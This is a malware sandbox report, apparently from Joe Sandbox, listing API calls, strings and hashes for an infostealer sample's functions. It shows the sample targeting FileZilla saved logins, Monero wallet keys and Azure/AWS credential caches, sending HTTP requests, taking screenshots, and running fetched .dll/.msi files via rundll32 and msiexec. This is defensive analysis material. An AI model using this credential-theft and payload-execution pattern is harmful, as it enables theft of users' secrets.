Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 558f1dbea71e8f349ac892ab6b395c5daa8d0404ac5d2fe57e44e2f3c86bf6a5
Instruction ID: 5bcc66b543f9986c3681721d71072ac5644637d5bfc555e6d843ebae02137f0f
Opcode Fuzzy Hash: 558f1dbea71e8f349ac892ab6b395c5daa8d0404ac5d2fe57e44e2f3c86bf6a5
Instruction Fuzzy Hash: BDD10E75D10208AFCB14FBE4DD96EFE77B9AF14301F404598F116B60A2DEB0AA48CB61

Function 00BA59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Part of subcall function 00BA4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BA4889
Part of subcall function 00BA4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BA4899

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BA5A48
StrCmpCA.SHLWAPI(?,0130EE58), ref: 00BA5A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BA5BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0130EE78,00000000,?,0130A958,00000000,?,00BC1B4C), ref: 00BA5EC1
lstrlen.KERNEL32(00000000), ref: 00BA5ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00BA5EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00BA5EEA
lstrlen.KERNEL32(00000000), ref: 00BA5EFF
lstrlen.KERNEL32(00000000), ref: 00BA5F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BA5F41
lstrlen.KERNEL32(00000000,?,?), ref: 00BA5F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BA5F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00BA5F9C
InternetCloseHandle.WININET(00000000), ref: 00BA6000
InternetCloseHandle.WININET(00000000), ref: 00BA600D
HttpOpenRequestA.WININET(00000000,0130EE68,?,0130E828,00000000,00000000,00400100,00000000), ref: 00BA5C48

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

InternetCloseHandle.WININET(00000000), ref: 00BA6017

Strings

------, xrefs: 00BA5D9C
------, xrefs: 00BA5AE6
", xrefs: 00BA5E66
", xrefs: 00BA5D25
------, xrefs: 00BA5C5B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: ed34ce238f31b5672c83aa2b84ba0e5eef22b74a24bbda81549663efe9d970a8
Instruction ID: cb987b0e214b19189f15f05d4cfd91038bb1781ee2f506e53ccc811a81165bfa
Opcode Fuzzy Hash: ed34ce238f31b5672c83aa2b84ba0e5eef22b74a24bbda81549663efe9d970a8
Instruction Fuzzy Hash: CA12CD71D20118BBCB25EBA0DDA6FEEB7B9AF14700F4045D9B11672091EFB06A48CF65

Function 00BACFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BAD083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BAD1C7
RtlAllocateHeap.NTDLL(00000000), ref: 00BAD1CE
lstrcat.KERNEL32(?,00000000), ref: 00BAD308
lstrcat.KERNEL32(?,00BC1570), ref: 00BAD317
lstrcat.KERNEL32(?,00000000), ref: 00BAD32A
lstrcat.KERNEL32(?,00BC1574), ref: 00BAD339
lstrcat.KERNEL32(?,00000000), ref: 00BAD34C
lstrcat.KERNEL32(?,00BC1578), ref: 00BAD35B
lstrcat.KERNEL32(?,00000000), ref: 00BAD36E
lstrcat.KERNEL32(?,00BC157C), ref: 00BAD37D
lstrcat.KERNEL32(?,00000000), ref: 00BAD390
lstrcat.KERNEL32(?,00BC1580), ref: 00BAD39F
lstrcat.KERNEL32(?,00000000), ref: 00BAD3B2
lstrcat.KERNEL32(?,00BC1584), ref: 00BAD3C1
lstrcat.KERNEL32(?,00000000), ref: 00BAD3D4
lstrcat.KERNEL32(?,00BC1588), ref: 00BAD3E3

Part of subcall function 00BBAB30: lstrlen.KERNEL32(00BA4F55,?,?,00BA4F55,00BC0DDF), ref: 00BBAB3B
Part of subcall function 00BBAB30: lstrcpy.KERNEL32(00BC0DDF,00000000), ref: 00BBAB95

lstrlen.KERNEL32(?), ref: 00BAD42A
lstrlen.KERNEL32(?), ref: 00BAD439

Part of subcall function 00BBAD80: StrCmpCA.SHLWAPI(00000000,00BC1568,00BAD2A2,00BC1568,00000000), ref: 00BBAD9F

DeleteFileA.KERNEL32(00000000), ref: 00BAD4B4

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4a76613a957911db1b4a0aac5f4077abf556d573edccf01f34702a49f936576b
Instruction ID: 8857cef69f7cc3dfc119d8a88a896b91094c5ee1b26938eda91c92e8ec652109
Opcode Fuzzy Hash: 4a76613a957911db1b4a0aac5f4077abf556d573edccf01f34702a49f936576b
Instruction Fuzzy Hash: 19E13D71D10108AFCF14EBA4DD96EFE77B9AF14301F0045E8F116B61A2DE71AA48CB62

Function 00BACA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0130D968,00000000,?,00BC1544,00000000,?,?), ref: 00BACB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00BACB89
GetFileSize.KERNEL32(00000000,00000000), ref: 00BACB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BACBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00BACBD9
StrStrA.SHLWAPI(?,0130D998,00BC0B56), ref: 00BACBF7
StrStrA.SHLWAPI(00000000,0130DA28), ref: 00BACC1E
StrStrA.SHLWAPI(?,0130E118,00000000,?,00BC1550,00000000,?,00000000,00000000,?,01309488,00000000,?,00BC154C,00000000,?), ref: 00BACDA2
StrStrA.SHLWAPI(00000000,0130E198), ref: 00BACDB9

Part of subcall function 00BAC920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BAC971
Part of subcall function 00BAC920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BAC97C

StrStrA.SHLWAPI(?,0130E198,00000000,?,00BC1554,00000000,?,00000000,013093C8), ref: 00BACE5A
StrStrA.SHLWAPI(00000000,013096A8), ref: 00BACE71

Part of subcall function 00BAC920: lstrcat.KERNEL32(?,00BC0B47), ref: 00BACA43
Part of subcall function 00BAC920: lstrcat.KERNEL32(?,00BC0B4B), ref: 00BACA57
Part of subcall function 00BAC920: lstrcat.KERNEL32(?,00BC0B4E), ref: 00BACA78

lstrlen.KERNEL32(00000000), ref: 00BACF44
CloseHandle.KERNEL32(00000000), ref: 00BACF9C

Strings

, xrefs: 00BACAC6

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 9ac0fae920fe3e24c62e49c81b7fd727aee50d35ae8b1cc6b584776f97f0c062
Instruction ID: d27b07a08355822309d9819638ec6e97322cff854c015b334bef2073d83d9bf6
Opcode Fuzzy Hash: 9ac0fae920fe3e24c62e49c81b7fd727aee50d35ae8b1cc6b584776f97f0c062
Instruction Fuzzy Hash: 1FE1C971D10108AFCB14EBA4DDA2FFEBBB9AF54300F404599F11676191EFB06A49CB61

Function 00BB84B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

RegOpenKeyExA.ADVAPI32(00000000,0130BBA0,00000000,00020019,00000000,00BC05BE), ref: 00BB8534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BB85B6
wsprintfA.USER32 ref: 00BB85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BB860B
RegCloseKey.ADVAPI32(00000000), ref: 00BB861C
RegCloseKey.ADVAPI32(00000000), ref: 00BB8629

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

Strings

%s\%s, xrefs: 00BB85DD
?, xrefs: 00BB850A
- , xrefs: 00BB8733

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: b984c573c502e65926a82d9c210b4b8323c89cd8e73c81a65b18546e603bfbab
Instruction ID: d8c49ff277f868cc49cc187690235a2a8c17db157e9500607925227d4396766b
Opcode Fuzzy Hash: b984c573c502e65926a82d9c210b4b8323c89cd8e73c81a65b18546e603bfbab
Instruction Fuzzy Hash: 1A81E971911118AFDB24DB54CD95FEAB7B8FB48704F5082D8E149A6190DFB06F88CFA0

Function 00BB4FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00BB5000
lstrcat.KERNEL32(?,\.azure\), ref: 00BB501D

Part of subcall function 00BB4B60: wsprintfA.USER32 ref: 00BB4B7C
Part of subcall function 00BB4B60: FindFirstFileA.KERNEL32(?,?), ref: 00BB4B93

lstrcat.KERNEL32(?,00000000), ref: 00BB508C
lstrcat.KERNEL32(?,\.aws\), ref: 00BB50A9

Part of subcall function 00BB4B60: StrCmpCA.SHLWAPI(?,00BC0FC4), ref: 00BB4BC1
Part of subcall function 00BB4B60: StrCmpCA.SHLWAPI(?,00BC0FC8), ref: 00BB4BD7
Part of subcall function 00BB4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00BB4DCD
Part of subcall function 00BB4B60: FindClose.KERNEL32(000000FF), ref: 00BB4DE2

lstrcat.KERNEL32(?,00000000), ref: 00BB5118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00BB5135

Part of subcall function 00BB4B60: wsprintfA.USER32 ref: 00BB4C00
Part of subcall function 00BB4B60: StrCmpCA.SHLWAPI(?,00BC08D3), ref: 00BB4C15
Part of subcall function 00BB4B60: wsprintfA.USER32 ref: 00BB4C32
Part of subcall function 00BB4B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00BB4C6E
Part of subcall function 00BB4B60: lstrcat.KERNEL32(?,0130EDA8), ref: 00BB4C9A
Part of subcall function 00BB4B60: lstrcat.KERNEL32(?,00BC0FE0), ref: 00BB4CAC
Part of subcall function 00BB4B60: lstrcat.KERNEL32(?,?), ref: 00BB4CC0
Part of subcall function 00BB4B60: lstrcat.KERNEL32(?,00BC0FE4), ref: 00BB4CD2
Part of subcall function 00BB4B60: lstrcat.KERNEL32(?,?), ref: 00BB4CE6
Part of subcall function 00BB4B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00BB4CFC
Part of subcall function 00BB4B60: DeleteFileA.KERNEL32(?), ref: 00BB4D81

Strings

Azure\.aws, xrefs: 00BB50AF
msal.cache, xrefs: 00BB5140
Azure\.IdentityService, xrefs: 00BB513B
*.*, xrefs: 00BB50B4
\.IdentityService\, xrefs: 00BB5129
\.aws\, xrefs: 00BB509D
*.*, xrefs: 00BB5028
Azure\.azure, xrefs: 00BB5023
\.azure\, xrefs: 00BB5011

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: e6b5afccdb0158b2536e8ca0cb8767aa1444d92994883f8d84d86126c46b1c90
Instruction ID: 3d1ec0496870fc15423869e4fa4d6172b5de167af83ff165d1b188e1e404927f
Opcode Fuzzy Hash: e6b5afccdb0158b2536e8ca0cb8767aa1444d92994883f8d84d86126c46b1c90
Instruction Fuzzy Hash: F54184BA94420467DB60F770DC57FED73A89B65700F0049D8B299750D2EEF497C88B92

Function 00BB91A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BB91FC

Strings

image/jpeg, xrefs: 00BB92C6

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 27b9dc2e9e58a4c15e988d1624bbc1b51a253e7b57f34d212d848ac8868c7fed
Instruction ID: 6d8795733d2c7e08aa78c9ca40301c6256f56c08684b3202adc91dce6ae6756d
Opcode Fuzzy Hash: 27b9dc2e9e58a4c15e988d1624bbc1b51a253e7b57f34d212d848ac8868c7fed
Instruction Fuzzy Hash: 4B71EEB5A14208AFDB14DFE5DC85FEEB7B8BF48700F108548F65AA7290DB74A944CB60

Function 00BB3080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

ShellExecuteEx.SHELL32(0000003C), ref: 00BB3415
ShellExecuteEx.SHELL32(0000003C), ref: 00BB35AD
ShellExecuteEx.SHELL32(0000003C), ref: 00BB373A

Strings

"" , xrefs: 00BB32EA
<, xrefs: 00BB36E0
.msi, xrefs: 00BB35E8
/i ", xrefs: 00BB3634
.dll, xrefs: 00BB3435
C:\Windows\system32\msiexec.exe, xrefs: 00BB370F
C:\Windows\system32\rundll32.exe, xrefs: 00BB3582
/passive, xrefs: 00BB36AB

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
